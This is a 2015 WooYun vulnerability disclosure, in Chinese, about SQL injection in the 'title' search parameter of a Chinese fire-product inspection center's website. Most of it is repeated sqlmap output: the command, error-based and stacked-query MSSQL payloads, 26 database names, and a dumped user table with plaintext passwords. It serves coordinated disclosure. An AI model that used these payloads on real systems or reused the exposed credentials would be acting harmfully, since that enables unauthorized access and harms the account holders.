当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145674

漏洞标题:国家消防电子产品质量监督检验中心存在某处SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: botieking

提交时间:2015-10-10 08:48

修复时间:2015-11-28 16:46

公开时间:2015-11-28 16:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-10: 细节已通知厂商并且等待厂商处理中
2015-10-14: 厂商已经确认,细节仅向厂商公开
2015-10-24: 细节向核心白帽子及相关领域专家公开
2015-11-03: 细节向普通白帽子公开
2015-11-13: 细节向实习白帽子公开
2015-11-28: 细节向公众公开

简要描述:

详细说明:

注入点

http://**.**.**.**/sousou.aspx?title=123


参数title存在SQL注入!
具体详情如下:

c:\sqlmap>python sqlmap.py -u "http://**.**.**.**/sousou.aspx?title=123" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151001}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:55:22
[23:55:22] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:55:23] [INFO] testing connection to the target URL
[23:55:23] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[23:55:23] [WARNING] reflective value(s) found and filtering out
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: title (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: title=123%' AND 8957=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (8957=8957) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(120)+CHAR(113))) AND '%'='
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: title=123%';WAITFOR DELAY '0:0:5'--
---
[23:55:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[23:55:23] [INFO] fetching database names
[23:55:23] [INFO] the SQL query used returns 26 entries
available databases [26]:
[*] daikuandata
[*] hhxy_gzcx
[*] jiandujianchayuandata
[*] master
[*] model
[*] msdb
[*] npsp
[*] senva_ahssen
[*] senva_health
[*] senva_hhxy
[*] senva_hhxy_jy
[*] senva_hhxy_zs
[*] senva_hjxy
[*] senva_puda
[*] senva_sheenrun
[*] senzhiyangcom
[*] sh_cxy
[*] sh_efire
[*] sh_sw
[*] sq_365jst
[*] sqlumon
[*] sy_jcjs_web
[*] tempdb
[*] tiegujingdata
[*] **.**.**.**
[*] whjtdata
[23:55:23] [INFO] fetched data logged to text files under 'C:\Users\Auser\.sqlmap\output\**.**.**.**'
[*] shutting down at 23:55:23


Database: daikuandata
Table: userTable
[2 entries]
+----+------------+----------+
| id | name | password |
+----+------------+----------+
| 1 | admin | 83998082 |
| 2 | liuhongwei | 198663 |
+----+------------+----------+

漏洞证明:

注入点

http://**.**.**.**/sousou.aspx?title=123


参数title存在SQL注入!
具体详情如下:

c:\sqlmap>python sqlmap.py -u "http://**.**.**.**/sousou.aspx?title=123" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151001}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:55:22
[23:55:22] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:55:23] [INFO] testing connection to the target URL
[23:55:23] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[23:55:23] [WARNING] reflective value(s) found and filtering out
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: title (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: title=123%' AND 8957=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (8957=8957) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(120)+CHAR(113))) AND '%'='
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: title=123%';WAITFOR DELAY '0:0:5'--
---
[23:55:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[23:55:23] [INFO] fetching database names
[23:55:23] [INFO] the SQL query used returns 26 entries
available databases [26]:
[*] daikuandata
[*] hhxy_gzcx
[*] jiandujianchayuandata
[*] master
[*] model
[*] msdb
[*] npsp
[*] senva_ahssen
[*] senva_health
[*] senva_hhxy
[*] senva_hhxy_jy
[*] senva_hhxy_zs
[*] senva_hjxy
[*] senva_puda
[*] senva_sheenrun
[*] senzhiyangcom
[*] sh_cxy
[*] sh_efire
[*] sh_sw
[*] sq_365jst
[*] sqlumon
[*] sy_jcjs_web
[*] tempdb
[*] tiegujingdata
[*] **.**.**.**
[*] whjtdata
[23:55:23] [INFO] fetched data logged to text files under 'C:\Users\Auser\.sqlmap\output\**.**.**.**'
[*] shutting down at 23:55:23


Database: daikuandata
Table: userTable
[2 entries]
+----+------------+----------+
| id | name | password |
+----+------------+----------+
| 1 | admin | 83998082 |
| 2 | liuhongwei | 198663 |
+----+------------+----------+

修复方案:

对参数title进行过滤。。。

版权声明:转载请注明来源 botieking@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-14 16:45

厂商回复:


CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向网站管理单位通报。同时发辽宁分中心处置。

最新状态:

暂无